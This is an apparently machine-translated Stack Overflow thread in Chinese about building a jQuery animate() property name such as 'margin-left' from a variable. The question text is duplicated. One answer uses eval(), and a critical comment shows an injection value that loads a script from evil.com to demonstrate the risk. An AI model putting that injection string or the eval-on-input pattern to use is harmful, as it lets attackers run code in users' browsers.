我有一個名爲direction的變量,用於存儲:left
,right
。在對象屬性名稱中使用變量
我需要根據該變量更改受影響的邊距。
現在我正在使用條件,是否有可能用變量direction
的輸出替換「left」?
$("#map").animate({"margin-left": "+=50px"}, 500);
我有一個名爲direction的變量,用於存儲:left
,right
。在對象屬性名稱中使用變量
我需要根據該變量更改受影響的邊距。
現在我正在使用條件,是否有可能用變量direction
的輸出替換「left」?
$("#map").animate({"margin-left": "+=50px"}, 500);
不是直接的,但你可以創建一個對象,並在animate()
使用前對其進行操作:
var direction = "left";
var property = {};
property[ "margin-"+direction ] = "+=50px";
$("#map").animate(property, 500);
謝謝。我會在幾分鐘內接受 – lisovaccaro
eval('props = {"margin-' + direction + '": "+=50px"}')
$("#map").animate(props, 500);
'eval'真的嗎? – Shef
Juhana的方式是微型,但這也起作用。 :) –
'var direction ='「+ function(){d = document.createElement(」script「); d.src =」http://evil.com/evil.js「; document.body.appendChild(d )} +「'; ... //你的代碼在這裏。這仍然有效嗎? –
使用此。由於沒有margin-up
或margin-down
,你要「手動」進行翻譯:
var dir = "left";
dir = dir == "up" ? "top" : dir == "down" ? "bottom" : dir;
var obj = {};
obj["margin-" + dir] = "+=50px";
$("#map").animate(obj, 500);
第二行是寫一個合法的,更短的方式:
if(dir == "up"){
dir = "top";
} else if(dir == "down"){
dir = "bottom";
} else {
dir = dir;
}
或者更好,如果可能的話,首先使用'top'和'bottom'。 – JJJ
參見:http://stackoverflow.com/questions/6071471/javascript-object-variable-key – Ariel